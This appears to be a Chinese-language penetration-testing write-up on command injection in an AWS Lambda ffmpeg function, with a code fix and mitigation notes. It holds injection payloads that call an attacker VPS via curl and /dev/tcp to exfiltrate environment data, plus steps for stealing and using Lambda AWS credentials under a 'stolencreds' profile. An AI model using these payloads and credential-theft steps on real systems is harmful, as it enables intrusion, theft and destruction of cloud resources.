Lambda远程命令执行测试
漏洞
测试的时候发现AWS的Lambda里面有这样的代码,可以很明显的看出来存在命令注入:
execute_command = "ffmpeg -i " + video_url + " -y -f " + img_format + " -ss " + time_index + " -vframes 1 " + WH + " " + output_path
print(execute_command)
cp = subprocess.run(execute_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
攻击的Payload: ;curl <your vps>:<port>;
,然后在自己服务器监听可以收到Lambda容器发起的请求。
修复代码:
cp = subprocess.run(["ffmpeg", "-i", video_url, "-y", "-f", img_format, "-ss", time_index, "-vframes", "1", output_path], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
储备知识
- Lambda函数代码路径:
/var/task
- 用户凭证: 存储在环境变量里面,
AWS_ACCESS_KEY_ID
,AWS_SECRET_ACCESS_KEY
,AWS_SESSION_TOKEN
- 文件系统:
/var/task
只读,/tmp
可写 - 默认用户:
sbx_userxxx
- Lambda计算的最大超时时间是15分钟,凭证过期时间是11个小时左右
- 攻击Lambda只需要获取AK、SK、Token,反弹shell没什么意义
在存在命令执行的情况下先获取用户凭证,然后使用awscli
写入本地配置文件里面,通过awscli
来操作,如果在创建Lambda
的权限控制不足,这个时候就可以使用awscli
来操作各种资源,比如我发现的命令执行有对主账户下所有网卡的操作权限,可以使用获取到的用户凭证删除所有网卡接口。
存在另外一种情况,当获取到的凭证权限很小的时候,到处都是is not authorized to perform
,可以通过以下查询来查看自己的凭证都什么权限,首先配置命令行工具:
配置aws命令行工具
aws configure --profile stolencreds
输入获取到的AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY和对应区域,编辑~/.aws/credentials,在配置文件里面增加aws_session_token,设置获取到的对应值
获取function name、role name
aws sts get-caller-identity --profile stolencreds
ARN(Amazon Resource Name)是AWS里面唯一资源标示符号,ARN的格式取决于特定的资源,一般是这种格式:
arn:partition:service:region:account-id:resource-id
arn:partition:service:region:account-id:resource-type/resource-id
arn:partition:service:region:account-id:resource-type:resource-id
partition
:资源所在分区aws
- AWS 区域aws-cn
- 中国区域aws-us-gov
- AWS GovCloud (US) 区域
service
: 标识 AWS 产品的服务命名空间。例如,s3 表示 Amazon S3 资源。region
: 区域。例如,us-east-2 表示 美国东部(俄亥俄州)。account-id
: 拥有资源的 AWS 账户的 ID(不含连字符)。例如,123456789012。resource-id
: 资源标识符。ARN 的这一部分可以是资源的名称或 ID,也可以是资源路径. 例如,user/Bob
表示 IAM 用户.
在Lambda里面,ARN的格式是如下这样的表示:arn:aws:sts::{AccountID}:assumed-role/{RoleName}/{FunctionName}
获取函数的权限明细
aws lambda get-policy --function-name <function name> --output text
获取attach的权限明细
aws iam list-attached-role-policies --role-name <role name>
获取policy name
aws iam list-role-policies --role-name <role name>
获取用户凭证的权限明细
aws iam get-role-policy --role-name <role name> --policy-name <policy name>
通过查询用户凭证的权限明细,就可以根据获取到的凭证操作AWS的资源,比如S3、EC2。这里的用户凭证权限明细不包括attach的权限
常用的查询
aws lambda list-functions --profile stolencreds
aws ssm describe-instance-information --profile stolencreds
aws s3 ls --profile stolencreds
aws lambda get-function --function-name FatVideoFrameFFmpeg --query 'Code.Location' --profile stolencreds
wget -O lambda-function.zip url-from-previous-query --profile stolencreds
aws ec2 describe-network-interfaces
疑难问题
当确定存在命令执行的时候,先使用了
wget
,查看cloudwatch
之后发现不存在这个命令,当我使用serverleess-prey测试的时候发现curl
都不存在。这时候可以使用;cat /tmp/env.txt > /dev/tcp/<vps>/<port>;
来传输数据,先把需要获取到的内容写入到文件,然后外带传输。另外一个隐患是DoW(Denial of Wallet),因为Lambda是按照函数调用次数付费的,所以如果找到一个Lambda的事件触发器,一般是一个http请求,发起大量请求消耗资源, 延伸一下腾讯在推的类似一个业务在github上有很多开源项目 :( 。AWS可以再加一层
cloudfront
,然后配合cloudwatch
或者账单预警来完善,或者添加用户认证token。为什么上面我没有提命令执行之后反弹shell呢?因为一反弹成功之后马上断开。最后在Lambda的配置里面发现Lambda执行的timeout是3s,lambda在建立的时候默认运行时间是3s,可以修改为最大15分钟。
还有一种攻击手法,可以修改代码运行环境,没看太懂: Gaining Persistency on Vulnerable Lambdas